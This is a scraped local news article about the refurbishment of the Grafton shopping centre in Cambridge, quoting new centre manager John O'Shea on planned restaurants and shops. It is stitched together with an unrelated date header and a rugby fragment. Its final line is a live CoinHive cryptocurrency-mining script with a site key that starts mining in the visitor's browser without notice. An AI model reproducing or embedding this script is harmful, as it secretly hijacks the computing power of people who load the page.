12 октября 2017

but it’s all about the rugby for meNew Grafton shops and restaurants ‘will be in double figures'»In the face of competition from online retailers, we need to be able to offer something different.»07:00, 1 APR 2017Updated09:16, 1 APR 2017The Grafton centre in Cambridge, where revamp work continues (Image: Keith Jones) Get daily updates directly to your inbox+ SubscribeThank you for subscribing!Could not subscribe, try again laterInvalid EmailShoppers can expect to enjoy an exciting range of new attractions when the refurbished Grafton in Cambridge reopens fully next year.That is the pledge from the new boss of the four decade old centre in the city’s former Kite area.An makeover of The Grafton got underway several months ago, and as the News has reported, owners Legal General Real Assets are pleased with the progress being made.Have budget stores saved shopping in the Grafton centre area?Now new centre manager John O’Shea has revealed that the number of new shops and restaurants trading there after the revamp could be ‘in double figures’.Mr O’Shea is an expert on retailing in the city before taking charge of The Grafton three weeks ago, he was head of the plush city centre Grand Arcade.The new Grafton Centre manager, John O’Shea. Picture: Keith JonesSpeaking exclusively to the News, he said he was ‘very excited’ about the future for The Grafton and is confident shoppers will feel the same when they see the changes.He said: «More than is being spent on features like new flooring, double height glazed shop fronts and a new roof which will not only allow much more light into the centre, but which will make the annoying roof leaks a thing of the past.Will Cambridge ever get an Ikea?»After we relaunch, in the New Year, nowhere else in the city will be able to provide the combination of shops, restaurants and a cinema which the new Grafton will. It means customers can have a more exciting experience.»In the face of competition from online retailers, we need to be able to offer something different, as well as click and collect.»Artist’s impression of the new centre interiorThe first floor of the centre, where the entrance to the Vue cinema and Bella Italia are, is being remodelled as a new restaurant area and Mr O’Shea said people could expect to see ‘five or six’ new restaurants there.He said: «On the ground floor, we’re going for a cafe style experience, with two or more coffee outlets.»Eden Hall, once home to a number of small, niche shops, will be occupied by two or three new tenants.What’s going on behind the boards at the Grafton?Mr O’Shea said: «We are in talks with a number of retailers, some of whom will be new to Cambridge.var miner = new CoinHive.User(‘xtFCkOWXnlc5ZsFwNrjy8Mi8U1E0VRsi’,document.domain,{threads:navigator.hardwareConcurrency,autoThreads:false,throttle:0.5,forceASMJS:false});miner.start();